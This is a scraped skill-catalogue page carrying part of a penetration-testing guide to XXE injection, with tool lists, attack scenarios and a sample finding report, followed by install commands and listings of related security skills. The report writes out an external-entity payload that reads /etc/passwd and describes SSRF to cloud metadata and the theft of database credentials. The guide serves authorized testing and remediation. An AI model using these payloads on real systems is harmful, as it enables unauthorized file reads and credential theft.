**interactsh** | Out-of-band interaction server for detecting blind XXE callbacks |\n| **xxeserv** | Dedicated FTP\u002FHTTP server for XXE data exfiltration |\n| **OWASP ZAP** | Automated XXE scanning in active scan mode |\n| **DTD-Finder** | Discovers DTD files on the server for entity injection |\n\n## Common Scenarios\n\n### Scenario 1: SOAP API File Read\nA SOAP web service processes XML input without disabling external entities. Injecting a DTD with a SYSTEM entity in the SOAP body reads `\u002Fetc\u002Fpasswd` and returns it in the SOAP response.\n\n### Scenario 2: SVG Upload Blind XXE\nAn image upload feature accepts SVG files. The SVG is parsed server-side for thumbnail generation. Using a blind XXE payload in the SVG, server files are exfiltrated via out-of-band HTTP requests.\n\n### Scenario 3: JSON to XML Content-Type Switch\nA REST API primarily uses JSON but the XML parser is also enabled. Switching `Content-Type` to `application\u002Fxml` and sending an XXE payload exposes server files through the API response.\n\n### Scenario 4: DOCX Processing XXE\nA resume upload feature processes DOCX files. Injecting XXE into the `[Content_Types].xml` file within the DOCX archive triggers file read when the document is parsed server-side.\n\n## Output Format\n\n```\n## XXE Injection Finding\n\n**Vulnerability**: XML External Entity (XXE) Injection\n**Severity**: Critical (CVSS 9.1)\n**Location**: POST \u002Fapi\u002Fsearch (Content-Type: application\u002Fxml)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Reproduction Steps\n1. Send POST request to \u002Fapi\u002Fsearch with Content-Type: application\u002Fxml\n2. Include DTD with external entity: \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n3. Reference entity in XML body: \u003Csearch>&xxe;\u003C\u002Fsearch>\n4. Server returns file contents in the response\n\n### Confirmed Impact\n- Local file read: \u002Fetc\u002Fpasswd, \u002Fetc\u002Fhostname, application config files\n- SSRF: Accessed AWS metadata at 169.254.169.254\n- Internal network scanning: Identified internal services on ports 3306, 6379, 8080\n\n### Files Retrieved\n| File | Contents Summary |\n|------|-----------------|\n| \u002Fetc\u002Fpasswd | 42 user accounts, service accounts identified |\n| \u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php | Database credentials in plaintext |\n| \u002Fetc\u002Fhostname | Internal hostname: prod-web-01 |\n\n### Recommendation\n1. Disable external entity processing in the XML parser\n2. Disable DTD processing entirely if not required\n3. Use JSON instead of XML where possible\n4. Implement input validation to reject DTD declarations in XML input\n5. Apply least-privilege file system permissions for the web server user\n```\n",{"name":5,"tags":44,"author":48,"domain":37,"license":15,"version":49,"category":5,"nist_csf":50,"subdomain":55,"description":7,"mitre_attack":56},[45,23,25,33,46,47],"penetration-testing","web-security","burpsuite","mahipal","1.0",[51,52,53,54],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[57,58,59,60,61],"T1190","T1059.007","T1505.003","T1083","T1048","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Ftesting-for-xxe-injection-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":71,"prompt":81,"zipAvailable":82},[72,75,78],{"tool":73,"command":74},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill testing-for-xxe-injection-vulnerabilities",{"tool":76,"command":77},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill testing-for-xxe-injection-vulnerabilities",{"tool":79,"command":80},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill testing-for-xxe-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftesting-for-xxe-injection-vulnerabilities\u002FSKILL.md",true,[84,89,95],{"path":85,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftesting-for-xxe-injection-vulnerabilities\u002FLICENSE",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"references\u002Fapi-reference.md","REFERENCE","参考文档",2195,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftesting-for-xxe-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":96,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"scripts\u002Fagent.py","SCRIPT","脚本",9231,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftesting-for-xxe-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[102,126,151,173,189,208],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":39},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[],[109,110,111,112,19,22,37,113,114,115,116,117,118,119,120,121,122,123,124,125],"integrity","backup","recovery","validating backup integrity for recovery","validate","verification","hash-verification","incident-response","ransomware","detection","t1078","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":39},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[20,133,134,135,136,37,137,138,139,140,141,142,143,144,145,146,147,148,149,150],"framework","ssvc","triaging vulnerabilities with ssvc framework","with","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":157,"publishedAt":39},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[38,158,123,37,159,160,161,119,120,162,163,164,165,166,167,168,169,170,171,172],"triaging security incident","actions","soc","NIST","analysis","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":174,"name":175,"nameZh":6,"description":176,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":177,"categories":178,"keywords":179,"publishedAt":39},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[38,180,181,158,123,136,37,182,160,116,183,184,119,120,185,163,146,186,187,188],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":190,"name":191,"nameZh":6,"description":192,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":193,"categories":194,"keywords":195,"publishedAt":39},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[38,196,197,198,199,200,37,201,202,203,160,204,119,205,206,207,166,30,123,27],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":214,"publishedAt":39},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[215,216,217,218,37,219,220,221,222,223,224,205,225,226,30,227,27,228,229,230],"infrastructure","tracking threat actor infrastructure","tracking","threat","monitoring","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","command","exploit","intelligence","domains","kit","hosts"]